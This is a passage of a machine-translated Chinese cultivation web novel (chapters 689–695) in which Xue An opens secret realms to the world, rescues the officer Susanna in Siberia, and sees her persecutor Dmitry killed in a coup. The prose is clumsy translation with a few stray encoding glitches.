    After a while, Tang Xuan''er lowered her head and said, "An Yan is not easy, you have to treat her well!"


    Xue An nodded, "I will!"


    "Now I have a good reason. If I know you bullied her, be careful I beat you!" Tang Xuan''er raised her fist, but she couldn''t help but laugh.


    Xue An did not smile, but looked at her quietly.


    After a while, Tang Xuan''er lost her square inch under Xue An''s gaze.


    "Uh... I seem to be drinking too much! I''m going back to sleep!"


    Having said that, she turned around and ran away like a deserted one.


    Xue An didn''t make any movements, but stood still and watched her back quietly.


    At this moment, An Yan slowly walked over from the darkness behind and stood beside Xue An.


    The two stood still for a while, before An Yan whispered: "Or... I''ll take Xuan''er with me here too!"


    Xue An shook his head, "The outside world is too messy! With her character, staying in this world to cultivate slowly, it will be better."


    "But what I''m worried about is, after we leave, what should we do if another powerful **** or devil comes down?" An Yan asked with some worry.


    Xue An glanced at An Yan and smiled slightly, "Yan''er, you are right to worry, so before leaving, we must be fully prepared."


    An Yan nodded and stopped talking.


    "Well, it''s getting late, go back to sleep!" Xue An took An Yan''s hand and turned back to the house.


    Tang Xuan''er had already returned to her room at this time.


    After entering the door, Fan Mengxue wrapped her bathrobe and unscrupulously placed her two long slender legs on the coffee table, watching TV with a bored face.


    When she heard the noise, she didn''t turn her head back, "Xuan''er, didn''t you say you drank too much? Why did you run out?"


    With that, she turned her head, and just saw Tang Xuan''er, she let out a shock.


    "you����."


    Tang Xuan''er now exudes a rather powerful aura, as if she is already a master of the Happy Realm.


    Tang Xuan''er walked over directly, sat beside Fan Mengxue, picked up the teacup on the coffee table, took a few sips, and then took a breath.


    At this time, Fan Mengxue had gradually woken up from the shock, "Is he the cultivation base that helped you improve?"


    Tang Xuan''er nodded, and then smiled bitterly: "He seems to be leaving!"


    Fan Mengxue fell silent after hearing this.


    She already felt something and knew that Xue An was about to leave this world.


    I didn''t expect it to be so fast.


    Tang Xuan''er glanced at Fan Mengxue with a sad expression, and couldn''t help but sigh, "Okay! Go to sleep! It''s not that he won''t come back!"


    Tang Xuaner and Fan Mengxue live together.


    When lying on the bed.


    I don''t know how long it took, Tang Xuan''er quietly looked at the ceiling hidden in the darkness, and whispered, "Are you...will you wait for him?"


    There was a long silence.


    It was a long time before Tang Xuan''er thought she was asleep, only to hear a low voice in the darkness, "Yes! And wait forever."


    Tang Xuan''er gradually raised the corners of her mouth, trying to laugh, but felt that something hot and damp was leaking out of her eyes, and then turned over, "Go to sleep! It will be dawn in a while."


    Fan Mengxue looked at Tang Xuan''er who was curled up sideways, her eyes flickering, and then whispered softly, "You...are the same?"


    the next day.


    Xue An summoned people from Beijiang, the provincial capital, and Zhongdu.


    These people had guessed something before they came, so they were all very excited.


    After everyone arrived, Xue An looked around at these familiar faces and smiled slightly.


    "You are all my friends, and now I will help you to embark on the path of cultivation, but everyone''s mood and chance are different, so I will let you enter your own mood to try, everything, everything depends on How did you come out!"


    These people were shocked when they heard this.


    Old Xie was among these people, and he couldn''t help but said in embarrassment: "Xiao''an, let''s forget about your fat aunt and I. Cultivation can''t be mixed with people like us!"


    Xue An smiled and shook his head, "Uncle Xie''s words are wrong, each of you has your own opportunities, I am just helping you open it!"


    Aunt Fatty grunted her old thanks, and said with some dissatisfaction: "People Xiaoan said, everything depends on your chance, but you dare not even try it? It''s really useless!"


    Old Xie was blushing when the fat aunt said, "Who said I dare not try! Come on! I am not afraid of Old Xie!"


    Xue An smiled, and then faintly said: "Everyone holds your breath, let''s start!"


    Hearing this, everyone hurriedly settled their minds and closed their eyes.


    Xue An waved his hand casually, and his huge spiritual thought spread out and enveloped the audience.


    The so-called mental state trial is a hurdle that the great sect of heaven must pass when selecting disciples.


    The purpose is to see if this person has the opportunity and foundation for cultivation.


    But it is still extremely rare for people like Xue An to start the trial mood of so many people casually.


    At this time, everyone was shocked, and they had entered the trial in their own minds.


    Soon, all kinds of expressions appeared on everyone''s face some were joyful, some were angry, and some were crying.


    Xue looked quietly, he wanted to see who could come out first.


    At this moment.


    Xie Jingjing, who was standing next to Lao Xie, suddenly shook her whole body, and then slowly opened her eyes. At the same time, a wave of energy radiated from her body, and she was directly promoted into the real world.


    Xue An was startled slightly. He knew that Xie Jingjing was a pure silver body, but he didn''t expect her cultivation talent to be so high.


    An ordinary trial of the state of mind gave her a first glimpse of the way, and she became a real person.


    Although a real person is only the most basic state, it is also the basis for later cultivation.


    This level can determine the difference behind.


    Xue An thought, and smiled at Xie Jingjing, "Very well, I originally wanted to pass the exercise directly for you, but now that you have become a real person, you have saved a lot of things!"

 Chapter 690： Open up various secrets

    During this period of time, Xie Jingjing''s heart has been suffocating.


    Especially what happened in Zhongdu deeply stimulated this sensitive girl.


    When she saw God Man Tian came to the world, and saw Xue An greet the enemy alone.


    She suddenly wanted to be strong like never before.


    She doesn''t want to stand behind anyone to receive protection, she wants to become a strong person to protect the one she loves.


    Therefore, when the state of mind is being tested, she will be brave and diligent to cut off the demons and quickly break through the barrier.


    At this time, Xue An said solemnly: "Jingjing, look at me!"


    Xie Jingjing looked up at Xue An.


    Xue An''s eyes were full of light, and a powerful spiritual thought passed directly.


    Xie Jingjing felt a shock in her mind, and an exercise method emerged.


    "This pure Yin Xuan Ming Lu is most suitable for physique cultivation like you. If nothing happens, within ten years, you will surely become an immortal!"


    Achieve a Sanxian in ten years.


    This is enough to shock the world and the progress of cultivation.


    Xie Jingjing lowered her head, her eyes gleaming with unyielding light.


    Sanxian?


    Although it seems to be very strong, it is still too weak in front of the gods and demons who descended.


    I will never be satisfied with this, I will definitely give Xiao An a surprise.


    Xie Jingjing secretly made up his mind.


    At this time, other people also began to break through.


    Several of them performed well.


    But the most surprising thing is Chen Rushi.


    Like Xie Jingjing, the Chen family princess actually reached the realm of real life after passing the trial of the state of mind.


    This shows that her talent in cultivation is also extremely strong.


    The second is Lao Xie and Fat Aunt, these two seem to have nothing to do with cultivation, but they also passed the trial of mood.


    Xue An gave the exercises separately according to the characteristics of each person.


    As for those who really don''t have the chance and talent, Xue An also gave them the Jianghu exercises that they can use in the world.


    These are the people who have made friends with Xue An, and wait until the affairs of these people are handled.


    Xue An took out a few more exercises that are not too clever, but they win in Zhongzheng and are suitable for most people to practice.


    These are the legal decisions that Xue An selected for the cultivation of Chinese people.


    Although in Xue An''s view, these legal decisions are very general.


    But you must know that among the heavens, cultivation techniques are extremely scarce.


    Among many small worlds or small sects, a good technique is enough to outsmart the crowd.


    There are a few who can sell exercises outside like Xue An, like wholesale.


    What''s more, these several Fajus are very good. If you practice step by step, you can at least reach the realm of Sanxian.


    This is enough to show its preciousness.


    At least the general of the town country was like a treasure after he got these few legal decisions.


    At the same time, Xue An also produced two revised exercises.


    These two exercises are much inferior to the previous ones. The key is that they were modified by Xue An, leaving some dark holes in them.


    However, the two exercises are also different, one of them is much better than the other.


    This is for cultivating people other than the Chinese.


    The good one is for people who have a good relationship with China.


    As for the one with a lot of errors and omissions... of course, it was used in those countries that were prosperous and respectful.


    of course.


    This is not because Xue An deliberately wanted to cause discord among the people.


    No matter how many mistakes and omissions these two exercises make, they can also make people cultivate to the realm of heaven and human.


    It''s just that there will be many dark pits behind.


    At the same time, Xue An also suggested that if people from other countries have real talents and are willing to follow the Chinese with all their heart, they can be taught the real exercises.


    As for how to master it, Xue An believes that this can''t be difficult for the Chinese who have played with tricks and checks and balances for thousands of years.


    The emergence and spread of these exercises finally completely rewritten the global pattern.


    A vigorous big change began.


    All countries regard it as the most important thing to find people with talent for cultivation.


    Among them, China is the most.


    Through practicing the techniques passed down by Xue An, countless amazing young people began to emerge on the land of China.


    This has allowed China''s strength to increase day by day, and the right to speak is completely in the hands of China.


    At the same time, Xue An began to prepare to open up various secret realms, allowing him to be fully connected with the main world.


    Kunlun Secret Realm.


    Today, Zhu Ruyan has joined forces with all parties and has become the one and only big man in this secret realm.


    There are countless people who want to see her every day. Only in the dead of night, Zhu Ruyan will have a little free time to quiet herself.


    On this day, she was drinking tea in the house as usual.


    She didn''t know when she developed this habit.


    And only drink one kind of tea.


    Many people would like to send a lot of this tea.


    But no one knows why this powerful woman would like this not-so-good tea.


    Only a few people understand what is going on.


    Because the original Mr. Xue drank this kind of tea.


    There was even more drumming outside.


    Zhu Ruyan put down the tea cup, pulled himself back from the memory, and was about to rest.


    But at this moment.


    A quiet voice came from outside the window of the tea room.


    "Can I still sleep after drinking so much tea at night?"


    Hearing this voice, Zhu Ruyan trembled all over, then stood up suddenly.


    Because I was so excited, the tea table in front of me was knocked to the ground, and tea splashed all over the place.


    Zhu Ruyan didn''t notice, because from outside, Xue An walked in slowly.


    "Master...Master!" Zhu Ruyan said in a quiet voice.


    Xue An smiled slightly, "Good job! I didn''t expect you to manage this world in an orderly manner."


    Zhu Ruyan took a deep breath and knelt down. Xue An waved his hand, and an invisible force supported her.


    "Don''t kneel down at all times!"


    "Yes! But I don''t know if Master is here, what''s the matter?" Zhu Ruyan calmly asked softly.


    Xue An nodded, "I''m here to connect this Kunlun secret realm with the outside world!"


    Zhu Ruyan was taken aback for a moment, then showed ecstasy, "Is it all right?"


    Xue An smiled faintly, "I should have done this before, but the conditions did not allow it at the time. Now the conditions allow it Naturally, I want to open this secret world to the world I came from."


    What else does Zhu Ruyan want to ask.


    Xue An said lightly: "Just now, come with me!"


    After all, he was already out of the window and came to the sky above.


    Zhu Ruyan followed close behind and came to the sky.


    "Master, what do I need to do?"


    Xue An smiled slightly, "You don''t need anything! Just step back!"


    Zhu Ruyan stepped back a bit according to his words.


    Xue An raised his hand and cut off with a palm.


    Click.


    I saw a black light across the world, as if cutting out a crack in the space.


    A strange brilliance loomed inside.

 Chapter 691： The land of Kunlun returns to the world

    "This...this is..." Zhu Ruyan was shocked.


    Because she can feel the terrifying power contained in this black light.


    The strong people in the city also noticed the strangeness at this moment, and they walked out of the room and looked up.


    "Gosh, what is that?"


    Just when everyone was stunned by the black light that traversed the world.


    I saw Xue An step forward, grabbing the sides of the black light with both hands, and suddenly used force, "Open!"


    boom!


    After a loud noise.


    Xue An forcibly tore a huge hole in the restriction of this secret realm.


    Seeing black light circulating, a tall door gradually emerged.


    And outside the gate, you can see a strange scene.


    There are all kinds of strangely shaped tall buildings, giant steel birds flying in the sky, and iron boxes running on the ground.


    Such a spectacle made everyone in Kunlun City look silly.


    But Zhu Ruyan was shocked and whispered softly, "Is this the world that Master came from?"


    In the past, although Kunlun Secret Realm could also send people to the world, after all, the number of people was small and only in the hands of a few hidden immortals, so many people didn''t even know that there was a world.


    They all think that the convenience of their living is the whole world.


    Until today, they have seen a wider world.


    At this time, a small team walked in from the giant black gate, and then stood silently behind Xue An.


    Seeing this squad, all the onlookers were in an uproar.


    "It''s a Jagged Phoenix!"


    "So did the Jagged Phoenix come from the outside world?"


    "In that case, this man..."


    Amidst the discussion, everyone''s expressions gradually became serious.


    All because of the impressive impression left by the Fire Phoenix team on these people.


    The Fire King Hall and Xuanfeng Tower that once dominated Kunlun were destroyed overnight, and it was this iron-blooded phoenix.


    It is said that there is also a man with a earth-shaking cultivation base who played a leading role in it, and this person is Zhu Ruyan''s master.


    In this case, the identity of the man standing in the sky with his hands is ready to come out.


    It should be the Xue An who overpowered Kunlun and stood at the pinnacle!


    Just when everyone was shocked.


    Xue An stood high above the sky, overlooking the crowd, and then said lightly: "As you guessed, I and the members of the Iron-Blooded Phoenix are all from the outside world."


    "And the world you are in is just a secret realm opened up by the ancient power!"


    Xue An''s words made everyone''s expressions change wildly.


    In particular, many powerful people who came from very high-minded people are all pale at the moment.


    Because they encountered all kinds of unusual things when they were practicing, which confirmed what Xue An said was true.


    "Looking at what you look like, you should also be aware of it. That''s right, the heavenly path in this secret realm is flawed, and it is not a complete heavenly path. Even if you have been practicing here for thousands of years, it will be difficult for you to make further progress!"


    "Now the outside world has changed drastically. Qi Luck has restarted the spiritual energy recovery. You can''t stand still here. After all, you were all Chinese. I opened this secret realm so that you can enter and leave the main world."


    "But you must understand that if you want to enter the main world to practice, you must abide by my rules! Otherwise... kill without mercy!"


    Xue An''s words shook the entire Kunlun City.


    Many powerhouses show a trace of unhappiness on their faces.


    Xue An��s various deeds were indeed strong enough at the time, but over the past year or so, many powerful people in the Kunlun Secret Realm have also begun to break through, and all their cultivation bases have become much stronger.


    Especially many newly born powerhouses are even more disapproving of what Xue An said.


    But at this moment, Xue An took a step, with a brilliant light in his eyes, and an extremely powerful momentum instantly enveloped the entire Kunlun City.


    Under the supreme coercion, this group of strong men all looked terrified.


    They felt like they were incarnate as humble ants, while the man in the sky looked like a nine-day emperor.


    This kind of gap like cloud and mud made them just want to kneel down.


    At this time, Xue An narrowed his gaze and the coercion dissipated.


    Many strong men with slightly less strength thumped and fell to the ground, pale, unable to stand up.


    Even standing, it''s not much better, everyone has infinite fear deep in their hearts.


    "Now, do you understand what I said?"


    "Yes Yes!"


    "understand!"


    These powerhouses replied feebly, not even daring to look up at Xue An.


    Xue An nodded slightly.


    At this time, the black giant gate has been completely finalized, and many ordinary soldiers from the Chinese nation filed in, among them many gentle scholars.


    As soon as these scholars came in, they all looked excited when they saw the ancient buildings all over the city.


    For them, a world that has not been invaded by modern culture is simply invaluable.


    And those ordinary soldiers can use this secret realm to train.


    This is the value of these secret realms.


    At this time, Xue An turned his head and smiled at Zhu Ruyan, "Come with me over there to see?"


    Zhu Ruyan nodded without hesitation, "Hmm!"


    When he crossed the black door, Zhu Ruyan felt as if he had passed through a layer of foam, breathing for a while, and then smelled a very strange smell.


    Unlike Kunlun Secret Realm, which has not been polluted at all, the air in the world is much more mixed.


    But the aura here was so abundant that Zhu Ruyan was surprised.


    And this exit is located on a heavily guarded square in Zhongdu, Zhu Ruyan is looking at the surrounding buildings curiously.


    "Aunt Ruyan?" Thinking and Niannian came over, very excited.


    When Zhu Ruyan saw these two little girls, he couldn''t help but nodded with a smile, "The two little beauties have grown taller again!"


    At this time, several familiar figures walked out of the black gate.


    Bian Qingmu and Bianhua Biantian brothers and sisters.


    What happened in the Kunlun secret realm just now spread throughout the secret realm.


    Bian Qingmu and the others also noticed that there was a change in the heavens and the earth, and rushed over immediately, just when they met the people from the Fire Phoenix team.


    Because they knew each other well, the three of them also entered the worldsir! "Bian Qingmu said respectfully.


    Xue An smiled slightly, "You guys are waiting here! I''ll go through other secret realms!"


    After all, Xue An rose to the sky again.


    This time Xue An came to Siberia.


    When Xue An entered the Secret Realm of Wolf Warriors here, although this secret realm was very small, there were still a group of Chinese living in it, and Xue An would naturally not give up.


    But just when he was about to enter the Secret Realm of Wolf Warriors, he suddenly felt something, turned his head and looked at the jungle not far away, and then gave a soft voice.


    Because in his mind, a familiar person appeared in the distance.


    Susanna!


    How could she appear in the uninhabited forest of Siberia at this time?


    And...someone seems to be chasing her.

 Chapter 692： Upstart? No, not soon

    With a move in Xue An''s heart, his whole person disappeared instantly.


    When he reappeared, he was already above Susanna.


    Of course, Susanna didn''t know all this.


    At this moment, she is running hard in the snow.


    This once glamorous colonel officer is now extremely embarrassed.


    The neat school uniform was already in tatters, and he didn''t wear a hat, and his blond hair was scattered, but he couldn''t hide the anger in those blue eyes.


    Xue An also didn''t make a sound, just followed quietly.


    After turning around a small hill in front of him, he came to a place that could block the cold wind.


    Susanna was leaning against a big tree with exhaustion, and she couldn''t even shake off the falling snow on her body, and she was obviously on the verge of collapse.


    But in Xue An''s mind, at least three teams are approaching quickly, and the target is this Susanna.


    Xue An was hidden in the sky, watching quietly.


    After a while.


    There was a sound of regular footsteps in the forest in the distance, and they quickly pulled away, encircling them, and quickly approached.


    With a look of despair on her face, Susanna reached out and took out a small silver pistol from her waist.


    "You **** guys, how are you willing to let me go?"


    "Hey, Susanna, I have to admit that you are indeed strong enough in this Siberian jungle. You have escaped after half a month of rounding up! But now I advise you to give up resistance! As long as you obediently follow us back, I Guarantee that the general will not kill you!"


    Following the voice, a young man from Country E who was wearing a general coat and smiling triumphantly appeared behind the tree.


    But as soon as he showed up, Susanna raised her hand and shot.


    Snapped.


    After the gunshots rang, the hat worn on the young officer''s head was directly shot out.


    Frightened, he shrank his neck, hurriedly hid behind the tree, and then roared in anger, "Give me all!"


    Give an order.


    These soldiers began to reduce the encirclement.


    Susanna leaned behind the tree until the soldiers in the front were no more than two or three hundred meters away from her, and she slammed sideways and shot.


    A few gunshots.


    These soldiers fell to the ground, a round bullet hole appeared on their foreheads, and they were dead.


    This stunned the other soldiers and hid behind the trees.


    Upon seeing this, the young officer shouted: "This stinky **** doesn''t have a few bullets! Who can catch her, the general will definitely have a great reward!"


    Hearing these words, these soldiers showed a greedy color, and then began to pass the cover of trees, slowly approaching Susanna.


    Susanna took a deep breath, hiding behind the tree, and then gave a wry smile to herself.


    As the officer said, she is now completely exhausted except for the glorious bullet left in the pistol.


    As of today, Susanna has escaped for half a month.


    Neither mental nor physical strength can support her anymore.


    So Susanna''s face gradually showed decisiveness, and she slowly raised her gun, aimed it at her temple, and then closed her eyes and pulled the trigger.


    At this moment, only a calm voice rang in her ears.


    "As a soldier, do you want to die so easily?"


    Susannah was shocked when she heard this familiar voice, even though she thought she had hallucinations.


    After all, how could he appear here?


    But when she opened her eyes, she saw Xue Anzheng standing on a tree not far away, smiling at herself.


    "Xue... Instructor Xue?"


    Susanna couldn''t believe her eyes.


    Xue An looked at the soldiers who were surrounded from all directions, and said lightly: "Are these people arresting you?"


    Susanna nodded with a wry smile.


    At this time, the young officer also found Xue An standing on the top of the tree, and he was also surprised.


    "what are you����."


    The following words were not said, because he had already recognized Xue An.


    In fact, in the entire world today, how many others can you not know Xue An?


    But this discovery made the young officer almost fainted.


    Xue An glanced at these soldiers, and then stopped to focus on the officer, "Do you recognize me?"


    The man nodded tremblingly.


    "Recognize...recognize!"


    "Well, go back and tell you what general, Susanna will be a member of the Chinese nation in the future, if you dare to provoke, you will be at your own risk!" Xue An said lightly.


    "Yes, sir!" The officer nodded like a chicken pecking at rice.


    Xue An waved his hand.


    The officer turned and ran.


    When he ran, the soldiers who pursued them also fled.


    In an instant, the desperate situation that had just forced Susana to commit suicide, disappeared under the words of Xue An.


    Susanna watched this scene blankly, her brain blank.


    At this time, Xue An jumped directly from the tree, came to Susanna''s side, smiled slightly, "Susanna, long time no see!"


    Susanna nodded blankly, "Xue...Instructor Xue, why are you here?"


    "Oh, come here to get through a secret, but you, why are you being chased by the soldiers of your own country?" Xue An asked.


    Susannah smiled bitterly.


    As the former chief instructor of the Far East Special Forces, Susanna''s status in country E has always been high.


    But since the chaos of the world, the situation in Country E has also undergone earth-shaking changes.


    Susanna''s supporters either fell or died in this great change.


    This caused Susanna''s foundation in the army to be severely damaged.


    If that''s all there is to it.


    The big deal is to leave E country and go to other countries as instructors.


    Susanna hadn''t done it before. For example, she served as an instructor under that commander Hu, and competed on the same stage with the Phoenix Special Forces led by Xue An.


    But she thought too simple.


    How could she, who has been involved in the vortex of power, get out so easily?


    After the big change in the pattern of Country E, the new nobility in the army was a general named Dmitry.


    This person and Susanna had served in the same army and they had pursued Susanna frantically, but Susanna rejected him sternly and knocked him to the ground in front of many soldiers.


    So this Dmitry engraved this hatred in his heart.


    This time, as soon as he came to power, he immediately started dealing with Susanna.


    First, she dismissed all her positions, and then began to use various means to make her surrender, so as to become her own prohibition.


    Unexpectedly, Susanna would resolutely refuse.


    In the end, the conflict intensified, and Susanna resolutely fled the capital of Country E, and went all the way south, wanting to cross Siberia��s no-man��s land and seek refuge in China.


    But this Dmitry was sure to win against Susanna. After learning that she had fled, he couldn''t help being furious, and then immediately sent someone to chase and intercept her.


    This is why Susanna is so embarrassed.


    Xue An smiled slightly after listening, "The upstart in the army? No, it won''t be soon."

 Chapter 693： You just broke your throat, and today there won’t be...

    Although I don''t know why Xue An said this, Susanna was still infected by Xue An''s strong self-confidence in his words, and the nerves that had been tight for many days were also relaxed.


    At this time, Xue An said: "Since Country E has no place for you, come to China! China is now training troops, and it is very short of talents like you."


    A large part of the reason why Xue An rescued Susanna was because Xue An admired her very much.


    This woman has been in the military camp for many years, and she has come to the present step by step based on her own ability. She has enjoyed a certain reputation in the international military arena, which shows that she does have real skills.


    Such talents are exactly what China is in urgent need of.


    Susanna hesitated, "I... can I really? You know I am a national E!"


    "Others can''t, but you can definitely!" Xue An said with a smile.


    Susanna hesitated a little when she heard the words, and then nodded firmly, "If this is the case, then I will join China!"


    Susanna had originally planned to travel across Siberia to seek refuge in China, but now she has Xue An''s invitation, and she has no reason to refuse.


    "A very wise choice!" Xue An said with a smile.


    "Where to go next? Go back now?" Susanna asked.


    Xue An said calmly: "Don''t worry, there are other things to do!"


    After all, Xue An smashed his palm, tearing open a gap in the space in front of him.


    Then he smiled at Susanna, "Let''s go!"


    After all, Xue An took a step and disappeared into the rift.


    Susanna looked at the crack in the narrow space with a stunned expression, hesitated for a moment, then gritted her teeth and followed along.


    Just when Xue An and Susanna entered the Secret Realm of Wolf Warriors.


    Country E.


    Military building.


    The original military building had been cut by Xue An with a sword, and now this building was rebuilt on the original site later.


    now.


    Sitting in front of the large floor-to-ceiling windows of the top-level office, Dmitry, who was in power, was enjoying the afternoon sun with a full face.


    Symphony recorded on vinyl records played in the huge office.


    When he heard that he was pleased, Dmitry would also drink a big mouthful of vodka.


    This kind of comfort and leisure has been a thunderous afternoon since Dmitry became an army commander.


    "It would be even better if you could catch that chick Susanna back!"


    Dmitry thought silently, and couldn''t help licking his lips.


    At this moment.


    There was a knock on the door.


    Dmitry frowned slightly.


    What he hates most is that someone interrupts his lunch break.


    So he didn''t open his eyes, but he shouted in a deep voice: "Get out! No matter how important things are, I have to wait until I finish drinking this bottle of vodka."


    The knock on the door disappeared.


    Dmitry''s mouth raised a triumphant smile.


    This is what it feels like to be in power!


    But before this smile began, he was startled by a loud noise.


    Dmitry was also shocked and sat up straight from the chair, and then looked at the door furiously.


    "Are you guys tired and crooked? Didn''t I say anything? I have to wait until my lunch break is over before I say anything!"


    But before he finished scolding, after another loud noise, the door that could withstand the direct bombardment of the howitzer crashed down.


    In the smoke and dust, a secretary walked in quickly.


    "You bastards, do you want to rebel?" When he saw that it was a secretary, Dmitry''s hanging heart was let go, and then furious, he opened the drawer and took out his pistol.


    "Your sir, the commander, calm down! The one hundred thousand urgent military sentiments that just came back from Siberia, even though he was pointed at his head by a gun, he still said without changing his face.


    "Siberia?" Dmitry was taken aback.


    What military situation can there be?


    Didn''t it just send a few teams to round up Susanna?


    Could it be that something happened to them?


    Thinking about it, Dmitry quickly took the file, opened it, and was stunned.


    Because this file is very simple.


    It''s as simple as even one sentence.


    Susanna was rescued by Hua Guo Xue An, and let me warn you. From then on, Susanna has been protected by Hua Guo. If you dare to offend, you will bear the consequences.


    But with such a simple sentence, Dmitry watched it for a full minute.


    Hua Guo Xue An....


    These four words seemed to have magical powers, causing Dmitry''s forehead to gradually seep with cold sweat, and his hands holding the documents began to tremble.


    Suddenly, Dmitry looked up at the secretary as if thinking of something.


    "Does anyone know this document?"


    The secretary shook his head, "Your Excellency Commander, I am only responsible for sending you documents, I don''t know anything else!"


    "Trash, it''s a bunch of **** trash!" Dmitry yelled angrily, as if he could vent the fear and anxiety in his heart.


    Then he got up very simply to pack up, and said in a deep voice, "Hurry up and arrange a few military vehicles for me. I have urgent official duties to leave here now!"


    As he said, he packed some commonly used things into the box, but turned his head to see the secretary standing motionless at the table, looking at himself with a strange look.


    Dmitri''s heart sank, but a friendly smile appeared on his face. "You seem to have been with me for a long time. When I come back from my official duties, I will let you be the chief of the secretariat. Now, please call me a car quickly!"


    Rarely, the always domineering Dmitry used a please.


    The secretary shook his head when he heard the words, "Your Excellency Commander, I''m really sorry, it just happens that today all the cars are not in the military."


    The smile on Dmitry''s face froze, and a moment later, he forced a smile: "Since there is no one, then I will go downstairs to find a civilian car. After all, the military situation is urgent and there is no delay!"


    After all, he turned and left.


    The secretary stepped forward and blocked Dmitry''s path, and then said respectfully: "Your Excellency, why bother?"


    Dmitry''s face flashed, just about to say something.


    "Dmitry, in such a hurry, what urgent official duties are you going to perform?" A voice came, and then a general dressed in decent uniforms and white gloves walked in.


    Behind him followed a very tough guard.


    "Ni...Nikita, you...what do you want to do?" Dmitry was taken aback, and then shouted, "Guard!"


    Nikita shook his head, "No need to scream, you just yell your throat, no one will come today!"


    With a cold sweat on his face, Dmitry stepped back a few steps, and then forced a smile: "Nikita, you and I are all comrades in arms, what are you doing?"


    Nikita smiled upon hearing this, "comrade-in-arms?"


    "I don''t have a comrade in arms like you."

 Chapter 694： Just by prestige, the enemy will take the initiative to offer his first...

    "For your own benefit, an excellent instructor was persecuted and fled to another country, but in order to be prestigious, you sent an elite team to intercept and kill."


    "Every day in the office pampering, the opponent will fight or scold."


    "Extreme extravagance, violence and impermanence, do you think you are still a qualified soldier?"


    This series of questions made this Demeter look pale inside, "You... are you trying to rebel?"


    Nikita shook his head, "You are wrong, Dmitry, I''m just saving country E!"


    "You are not a fool, and naturally you understand what I mean, otherwise you won''t want to run away in a hurry!"


    Dmitry looked desperate in his eyes and said dryly: "Xue...Xue An?"


    Nikita nodded, "You are very smart! So I don''t want to embarrass you, you can do it yourself!"


    Dmitry''s complexion suddenly became extremely ugly.


    He is really not a fool, otherwise he would not smell the danger as soon as he got the news, and then hurriedly wanted to escape.


    Because only people at their level can deeply realize how terrifying Xue An''s influence is.


    It can be said that if Xue An wants to deal with any country now, he does not have to do it himself, and with a finger, countless people will do it for him.


    All this is because of Xue An''s supreme prestige and the temptation of the exercises.


    In today''s world, who doesn''t want to curry favor with China, kneeling and licking Xue An in exchange for a practice that can be used for cultivation?


    So when Dmitry learned that Susanna was rescued by Xue An, and Xue An also conveyed his dissatisfaction.


    Dmitry understood.


    That''s it!


    Once this news spreads, there will be countless people who have already looked forward to rushing to kill themselves.


    Even if Xue An didn''t show the intention of killing himself, those people would kill themselves without hesitation in order to please Xue An to please China.


    It was because of this that Dmitry wanted to escape immediately.


    But Nikita moved faster than him and blocked it directly in the office.


    At this time, Dmitry said desperately: "Nikita, anyway, I am also a member of the E country soldier. I promise not to show up again from now on, so let me go!"


    Nikita shook his head, "Dmitry, if it''s someone else, I''ll let you go, but who offends you is the first person in the world?"


    Hearing these words, Demeter''s expression changed wildly, and he suddenly took out his gun and ran forward, wanting to take Nikita as a hostage.


    But as soon as he took a step, a bullet penetrated the floor-to-ceiling window and directly penetrated his forehead, then went out from behind his head, splashed with blood on the wall.


    The last trace of horror still remained on Dmitry''s face, and then he slowly fell to the ground and died absolutely.


    Nikita looked at the dead body on the ground and said lightly: "Take a picture, and then release a message, saying that the commander of the army committed suicide in fear of crime, and then privately contacted China to express our sincere apologies to Mr. Xue from the military of the country E."


    "Yes!"


    Keep busy with the finishing touches.


    Nikita looked at this extravagant office, and then at the broken French window, a mocking smile appeared at the corner of her mouth.


    "What a idiot, didn''t you know that she knew Mr. Xue before you dealt with Susanna?"


    "Sit in front of the French windows all day, do you think you didn''t die fast enough?"


    Soon, the news of Dmitry''s suicide caused a sensation in Country E.


    But because his reputation is inherently bad, many people look at it with a joyful attitude.


    Of course, this is all superficial propaganda.


    Privately, the people of E country have expressed their apologies to China more than once and said that they must not damage the long-standing precious friendship between the two countries because of some black sheep.


    But the Chinese side did not take this too seriously, because the busiest Chinese diplomats are probably the Chinese diplomats.


    Every day, they have to deal with the goodwill from all sides, and they are a little numb.


    But when Susanna, who followed Xue An and returned to Central Capital, learned of the news, she was shocked and didn''t know what to say.


    She finally understood what Xue An said, and what it meant was that the sentence would soon disappear.


    He seemed to have expected such a scene long ago.


    During this whole process, he didn''t even say a word.


    Just relying on the supreme prestige, let Country E obediently offer up the head of this Dmitry.


    How domineering it is to have such an effect.


    Susanna couldn''t help but recalled the attitude of the people in that strange world when Xue Anyi appeared.


    It was like welcoming the most noble god.


    When she returned to Zhongdu, Susanna was shocked and numb by everything she saw and heard.


    Susanna felt a real fear of the soldiers who were working hard every day to practice the exercises and their strengths were advancing by leaps and bounds.


    Because under such a soaring strength, the Chinese military will soon become the world''s first, and it is the first without the slightest controversy.


    Susanna was also shocked by the thriving state of the whole society.


    But Susanna gradually fell in love with this atmosphere.


    She also wanted to see what height Xue An and the Chinese Congress led the world to the back.


    Because she was brought back by Xue An, no one dared to treat her slowly.


    Soon, she was selected into the army and began to play her best as an instructor again.


    And this scene is happening more and more everywhere in China.


    Countless talents from abroad started crying and shouting to enter China, and the rich swarmed in, waving banknotes, just to become Chinese nationality.


    Because these rich people all understand that the future China will be the safest place in the world.


    And if you can get a cultivation technique, it will be a good thing to reach the sky in one step.


    As for the girls from abroad, they even got red in order to marry into China.


    In the back, as long as you are a Chinese man, someone will marry you.


    If you are from Zhongdu or Beijiang and other places, let alone, as long as you nod, these girls will come here in their wedding dresses.


    Many bachelors who have never hoped of getting married all their lives have found beautiful foreign wives.


    Seeing this scene, many people have a feeling of deja vu.


    It''s as if everything has been reversed in just a few years.


    At the same time, Xue An opened all the secrets of the demon clan and the secrets of Qi Luck, and connected them with the world.


    When Jiang Meier led many monster races in the world, it also caused a commotion.


    But what really caused the uproar was Xiao Shui and others who came from the Secret Realm of Qi Luck.


    After seeing these real armoured soldiers, many scholars who are obsessed with scientific research go crazy.


    There was also Liu Keke of Puppet Xianzong and others, and the puppets they used also attracted a while.


    So countless scholars began to study alchemy, trying to combine earth technology with these ancient mysteries.


    Xue An is also very supportive of this new exploration.


    After a period of confusion.


    Xue An quietly left Zhongdu with An Yan and others and returned to Beijiang.

 Chapter 695： Stir-fried Dragon Liver

    This is an old community in the corner of Beijiang City.


    Because of the remote location, the harsh environment, and the dilapidated houses, lack of supporting facilities.


    So it seems to be a slum-like existence here.


    The only advantage may be that the rent here is very cheap.


    Therefore, the people who live here are the people at the bottom of society.


    now.


    Xue An and An Yan took their two daughters up the steps and came to a familiar door.


    "Mom and dad, are we going back to live in our hometown!" Xiangxiang He Niannian said excitedly.


    "Hometown..." Xue An raised the corner of his mouth and smiled faintly.

